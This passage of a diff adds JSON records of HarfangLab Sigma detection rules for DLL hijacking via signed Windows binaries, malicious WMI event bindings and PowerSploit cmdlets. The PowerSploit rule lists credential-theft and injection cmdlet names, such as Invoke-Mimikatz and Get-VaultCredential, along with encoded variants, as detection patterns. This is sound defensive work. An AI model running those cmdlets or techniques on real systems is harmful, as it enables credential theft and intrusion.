condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c97d7951-8f91-4019-99e7-40ca39857b16",
+  "rule_name": "DLL Hijacking via svchost.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via svchost.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c98155c7-83e2-4ac0-9a7b-47dfac1b3658",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.589173Z",
+  "creation_date": "2026-03-23T11:45:34.589177Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.589185Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_cleanmgr.yml",
+  "content": "title: DLL Hijacking via CLEANMGR.DLL.exe\nid: c98155c7-83e2-4ac0-9a7b-47dfac1b3658\ndescription: |\n    Detects potential Windows DLL Hijacking via CLEANMGR.DLL.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'CLEANMGR.DLL'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\propsys.dll'\n            - '\\vssapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Program Files (x86)\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files (x86)\\Mozilla Firefox\\'\n            - '?:\\Program Files (x86)\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Program Files\\Google\\Chrome\\Application\\'\n            - '?:\\Program Files\\Microsoft\\Edge\\Application\\'\n            - '?:\\Program Files\\Mozilla Firefox\\'\n            - '?:\\Program Files\\WindowsApps\\MicrosoftTeams*\\'\n            - '?:\\Users\\\\*\\AppData\\Roaming\\Zoom\\bin\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c98155c7-83e2-4ac0-9a7b-47dfac1b3658",
+  "rule_name": "DLL Hijacking via CLEANMGR.DLL.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via CLEANMGR.DLL.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c9839ae1-0d62-4732-97fd-a008d6dc892e",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.092111Z",
+  "creation_date": "2026-03-23T11:45:34.092113Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.092118Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/xforcered/WFH",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_setspn.yml",
+  "content": "title: DLL Hijacking via setspn.exe\nid: c9839ae1-0d62-4732-97fd-a008d6dc892e\ndescription: |\n    Detects potential Windows DLL Hijacking via setspn.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://github.com/xforcered/WFH\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'setspn.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\logoncli.dll'\n            - '\\netutils.dll'\n            - '\\ntdsapi.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c9839ae1-0d62-4732-97fd-a008d6dc892e",
+  "rule_name": "DLL Hijacking via setspn.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via setspn.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "c98bdba9-660b-4c44-a474-31605f8cc11a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600821Z",
+  "creation_date": "2026-03-23T11:45:34.600824Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600832Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_usocoreworker.yml",
+  "content": "title: DLL Hijacking via usocoreworker.exe\nid: c98bdba9-660b-4c44-a474-31605f8cc11a\ndescription: |\n    Detects potential Windows DLL Hijacking via usocoreworker.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'usocoreworker.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\Cabinet.dll'\n            - '\\DMCmnUtils.dll'\n            - '\\dmiso8601utils.dll'\n            - '\\DMOleAutUtils.dll'\n            - '\\iri.dll'\n            - '\\omadmapi.dll'\n            - '\\UpdatePolicy.dll'\n            - '\\winsqlite3.dll'\n            - '\\XmlLite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "c98bdba9-660b-4c44-a474-31605f8cc11a",
+  "rule_name": "DLL Hijacking via usocoreworker.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via usocoreworker.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ca2b9141-1490-4f8f-ba50-dae6d1126219",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.076167Z",
+  "creation_date": "2026-03-23T11:45:34.076169Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.076173Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html",
+    "https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/",
+    "https://attack.mitre.org/techniques/T1546/003/"
+  ],
+  "name": "t1546_003_wmi_suspicious_binding.yml",
+  "content": "title: Suspicious WMI Binding\nid: ca2b9141-1490-4f8f-ba50-dae6d1126219\ndescription: |\n    Detects the creation of suspicious WMI binding using a dangerous consumer.\n    Adversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\n    WMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\n    By default, two consumers class can be used maliciously:\n        - ActiveScriptEventConsumer: execute the specified code or related script;\n        - CommandLineEventConsumer: execute the specified command line.\n\n    Consumer and filter parameter should be investigated to determine their legitimacy using for example the PowerShell cmdlet Get-WmiObject.\nreferences:\n    - https://mgreen27.github.io/posts/2022/01/12/wmi-eventing.html\n    - https://www.eideon.com/2018-03-02-THL03-WMIBackdoors/\n    - https://attack.mitre.org/techniques/T1546/003/\ndate: 2023/12/07\nmodified: 2025/11/17\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1546.003\n    - classification.Windows.Source.WmiEvent\n    - classification.Windows.Behavior.Persistence\nlogsource:\n    product: windows\n    category: wmi_event\ndetection:\n    selection:\n        EventType: 'WmiBindingEvent'\n        Consumer|contains:\n            - CommandLineEventConsumer\n            - ActiveScriptEventConsumer\n        Operation:\n            - Created\n            - Modified\n\n    exclusion_hp:\n        Filter:\n            - '\\\\\\\\.\\root\\subscription:__EventFilter.Name=\"HP USB-C * G* Insertion Event Filter\"'\n            - '\\\\\\\\.\\root\\subscription:__EventFilter.Name=\"HP USB-C&A Universal Dock G2 Insertion Event Filter\"'\n            - '\\\\\\\\.\\root\\subscription:__EventFilter.Name=\"HP Thunderbolt * G* Insertion Event Filter\"'\n        Consumer:\n            - '\\\\\\\\.\\root\\subscription:CommandLineEventConsumer.Name=\"HP USB-C * G* Consumer\"'\n            - '\\\\\\\\.\\root\\subscription:CommandLineEventConsumer.Name=\"HP USB-C&A Universal Dock G2 Consumer\"'\n            - '\\\\\\\\.\\root\\subscription:CommandLineEventConsumer.Name=\"HP Thunderbolt * G* Consumer\"'\n\n    exclusion_dell:\n        Filter:\n            - '\\\\\\\\.\\root\\subscription:__EventFilter.Name=\"DellCommandPowerManagerPolicyChangeEventFilter\"'\n            - '\\\\\\\\.\\root\\subscription:__EventFilter.Name=\"DellCommandPowerManagerAlertEventFilter\"'\n        Consumer:\n            - '\\\\\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"DellCommandPowerManagerPolicyChangeEventConsumer\"'\n            - '\\\\\\\\.\\root\\subscription:ActiveScriptEventConsumer.Name=\"DellCommandPowerManagerAlertEventConsumer\"'\n\n    exclusion_default:\n        Filter: '__EventFilter.Name=\"BVTFilter\"'\n        Consumer: 'CommandLineEventConsumer.Name=\"BVTConsumer\"'\n\n    exclusion_alsid:\n        Filter: '__EventFilter.Name=?AlsidForAD-Launcher?'\n        Consumer: 'ActiveScriptEventConsumer.Name=?AlsidForAD-Launcher?'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ca2b9141-1490-4f8f-ba50-dae6d1126219",
+  "rule_name": "Suspicious WMI Binding",
+  "rule_description": "Detects the creation of suspicious WMI binding using a dangerous consumer.\nAdversaries may establish persistence and elevate privileges by executing malicious content triggered by a Windows Management Instrumentation (WMI) event subscription. WMI can be used to install event filters, providers, consumers, and bindings that execute code when a defined event occurs.\nWMI subscription execution is proxied by the WMI Provider Host process (WmiPrvSe.exe) and thus may result in elevated SYSTEM privileges.\nBy default, two consumers class can be used maliciously:\n    - ActiveScriptEventConsumer: execute the specified code or related script;\n    - CommandLineEventConsumer: execute the specified command line.\n\nConsumer and filter parameter should be investigated to determine their legitimacy using for example the PowerShell cmdlet Get-WmiObject.\n",
+  "rule_creation_date": "2023-12-07",
+  "rule_modified_date": "2025-11-17",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1546.003"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ca528e6b-b852-41f1-b94c-82363027fb31",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.595564Z",
+  "creation_date": "2026-03-23T11:45:34.595567Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.595575Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://github.com/PowerShellMafia/PowerSploit",
+    "https://attack.mitre.org/techniques/T1059/001/",
+    "https://attack.mitre.org/software/S0194/"
+  ],
+  "name": "t1059_001_powershell_malicious_cmdlet_powersploit_cmd.yml",
+  "content": "title: Malicious PowerSploit Commandlets in Command-line\nid: ca528e6b-b852-41f1-b94c-82363027fb31\ndescription: |\n    Detects various malicious cmdlets in PowerShell's command-line, generally associated with the PowerSploit framework.\n    PowerSploit is a collection of Microsoft PowerShell modules that can be used to aid penetration testers during all phases of an assessment.\n    It is recommended to investigate actions performed by attackers using the PowerSploit framework and to isolate infected systems.\nreferences:\n    - https://github.com/PowerShellMafia/PowerSploit\n    - https://attack.mitre.org/techniques/T1059/001/\n    - https://attack.mitre.org/software/S0194/\ndate: 2021/06/22\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1059.001\n    - attack.t1134\n    - attack.collection\n    - attack.credential_access\n    - attack.t1056.001\n    - attack.execution\n    - attack.t1047\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1547.005\n    - attack.s0194\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Script.PowerShell\n    - classification.Windows.Framework.PowerSploit\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_bin:\n        - Image|endswith: '\\powershell.exe'\n        - OriginalFileName: 'PowerShell.EXE'\n\n    selection_cmdlet:\n        CommandLine|contains:\n            # Set-MacAttribute, from PowerSploit\n            - 'Set-MacAttribute'\n            - 'UwBlAHQALQBNAGEAYwBBAHQAdAByAGkAYgB1AHQAZQ'\n            - 'MAZQB0AC0ATQBhAGMAQQB0AHQAcgBpAGIAdQB0AGUA'\n            - 'TAGUAdAAtAE0AYQBjAEEAdAB0AHIAaQBiAHUAdABlA'\n            # Invoke-DllInjection, from PowerSploit\n            - 'Invoke-DllInjection'\n            - 'SQBuAHYAbwBrAGUALQBEAGwAbABJAG4AagBlAGMAdABpAG8Abg'\n            - 'kAbgB2AG8AawBlAC0ARABsAGwASQBuAGoAZQBjAHQAaQBvAG4A'\n            - 'JAG4AdgBvAGsAZQAtAEQAbABsAEkAbgBqAGUAYwB0AGkAbwBuA'\n            # Invoke-Shellcode, from PowerSploit\n            - 'Invoke-Shellcode'\n            - 'SQBuAHYAbwBrAGUALQBTAGgAZQBsAGwAYwBvAGQAZQ'\n            - 'kAbgB2AG8AawBlAC0AUwBoAGUAbABsAGMAbwBkAGUA'\n            - 'JAG4AdgBvAGsAZQAtAFMAaABlAGwAbABjAG8AZABlA'\n            # Invoke-WmiCommand, from PowerSploit\n            - 'Invoke-WmiCommand'\n            - 'SQBuAHYAbwBrAGUALQBXAG0AaQBDAG8AbQBtAGEAbgBkA'\n            - 'kAbgB2AG8AawBlAC0AVwBtAGkAQwBvAG0AbQBhAG4AZA'\n            - 'JAG4AdgBvAGsAZQAtAFcAbQBpAEMAbwBtAG0AYQBuAGQA'\n            # Get-GPPPassword, from PowerSploit\n            - 'Get-GPPPassword'\n            - 'RwBlAHQALQBHAFAAUABQAGEAcwBzAHcAbwByAGQA'\n            - 'cAZQB0AC0ARwBQAFAAUABhAHMAcwB3AG8AcgBkA'\n            - 'HAGUAdAAtAEcAUABQAFAAYQBzAHMAdwBvAHIAZA'\n            # Get-Keystrokes, from PowerSploit\n            - 'Get-Keystrokes'\n            - 'RwBlAHQALQBLAGUAeQBzAHQAcgBvAGsAZQBzA'\n            - 'cAZQB0AC0ASwBlAHkAcwB0AHIAbwBrAGUAcw'\n            - 'HAGUAdAAtAEsAZQB5AHMAdAByAG8AawBlAHMA'\n            # Get-TimedScreenshot, from PowerSploit\n            - 'Get-TimedScreenshot'\n            - 'RwBlAHQALQBUAGkAbQBlAGQAUwBjAHIAZQBlAG4AcwBoAG8AdA'\n            - 'cAZQB0AC0AVABpAG0AZQBkAFMAYwByAGUAZQBuAHMAaABvAHQA'\n            - 'HAGUAdAAtAFQAaQBtAGUAZABTAGMAcgBlAGUAbgBzAGgAbwB0A'\n            # Get-VaultCredential, from PowerSploit\n            - 'Get-VaultCredential'\n            - 'RwBlAHQALQBWAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbA'\n            - 'cAZQB0AC0AVgBhAHUAbAB0AEMAcgBlAGQAZQBuAHQAaQBhAGwA'\n            - 'HAGUAdAAtAFYAYQB1AGwAdABDAHIAZQBkAGUAbgB0AGkAYQBsA'\n            # Invoke-CredentialInjection, from PowerSploit\n            - 'Invoke-CredentialInjection'\n            - 'SQBuAHYAbwBrAGUALQBDAHIAZQBkAGUAbgB0AGkAYQBsAEkAbgBqAGUAYwB0AGkAbwBuA'\n            - 'kAbgB2AG8AawBlAC0AQwByAGUAZABlAG4AdABpAGEAbABJAG4AagBlAGMAdABpAG8Abg'\n            - 'JAG4AdgBvAGsAZQAtAEMAcgBlAGQAZQBuAHQAaQBhAGwASQBuAGoAZQBjAHQAaQBvAG4A'\n            # Invoke-Mimikatz, from PowerSploit\n            - 'Invoke-Mimikatz'\n            - 'SQBuAHYAbwBrAGUALQBNAGkAbQBpAGsAYQB0AHoA'\n            - 'kAbgB2AG8AawBlAC0ATQBpAG0AaQBrAGEAdAB6A'\n            - 'JAG4AdgBvAGsAZQAtAE0AaQBtAGkAawBhAHQAeg'\n            # Invoke-NinjaCopy, from PowerSploit\n            - 'Invoke-NinjaCopy'\n            - 'SQBuAHYAbwBrAGUALQBOAGkAbgBqAGEAQwBvAHAAeQ'\n            - 'kAbgB2AG8AawBlAC0ATgBpAG4AagBhAEMAbwBwAHkA'\n            - 'JAG4AdgBvAGsAZQAtAE4AaQBuAGoAYQBDAG8AcAB5A'\n            # Invoke-TokenManipulation, from PowerSploit\n            - 'Invoke-TokenManipulation'\n            - 'SQBuAHYAbwBrAGUALQBUAG8AawBlAG4ATQBhAG4AaQBwAHUAbABhAHQAaQBvAG4A'\n            - 'kAbgB2AG8AawBlAC0AVABvAGsAZQBuAE0AYQBuAGkAcAB1AGwAYQB0AGkAbwBuA'\n            - 'JAG4AdgBvAGsAZQAtAFQAbwBrAGUAbgBNAGEAbgBpAHAAdQBsAGEAdABpAG8Abg'\n            # Out-Minidump, from PowerSploit\n            - 'Out-Minidump'\n            - 'TwB1AHQALQBNAGkAbgBpAGQAdQBtAHAA'\n            - '8AdQB0AC0ATQBpAG4AaQBkAHUAbQBwA'\n            - 'PAHUAdAAtAE0AaQBuAGkAZAB1AG0AcA'\n            # Invoke-ReflectivePEInjection, from PowerSploit\n            - 'Invoke-ReflectivePEInjection'\n            - 'SQBuAHYAbwBrAGUALQBSAGUAZgBsAGUAYwB0AGkAdgBlAFAARQBJAG4AagBlAGMAdABpAG8Abg'\n            - 'kAbgB2AG8AawBlAC0AUgBlAGYAbABlAGMAdABpAHYAZQBQAEUASQBuAGoAZQBjAHQAaQBvAG4A'\n            - 'JAG4AdgBvAGsAZQAtAFIAZQBmAGwAZQBjAHQAaQB2AGUAUABFAEkAbgBqAGUAYwB0AGkAbwBuA'\n            # Invoke-UserHunter, from PowerSploit\n            - 'Invoke-UserHunter'\n            - 'SQBuAHYAbwBrAGUALQBVAHMAZQByAEgAdQBuAHQAZQByA'\n            - 'kAbgB2AG8AawBlAC0AVQBzAGUAcgBIAHUAbgB0AGUAcg'\n            - 'JAG4AdgBvAGsAZQAtAFUAcwBlAHIASAB1AG4AdABlAHIA'\n            # Find-GPOLocation, from PowerSploit\n            - 'Find-GPOLocation'\n            - 'RgBpAG4AZAAtAEcAUABPAEwAbwBjAGEAdABpAG8Abg'\n            - 'YAaQBuAGQALQBHAFAATwBMAG8AYwBhAHQAaQBvAG4A'\n            - 'GAGkAbgBkAC0ARwBQAE8ATABvAGMAYQB0AGkAbwBuA'\n            # Invoke-ACLScanner, from PowerSploit\n            - 'Invoke-ACLScanner'\n            - 'SQBuAHYAbwBrAGUALQBBAEMATABTAGMAYQBuAG4AZQByA'\n            - 'kAbgB2AG8AawBlAC0AQQBDAEwAUwBjAGEAbgBuAGUAcg'\n            - 'JAG4AdgBvAGsAZQAtAEEAQwBMAFMAYwBhAG4AbgBlAHIA'\n            # Invoke-DowngradeAccount, from PowerSploit\n            - 'Invoke-DowngradeAccount'\n            - 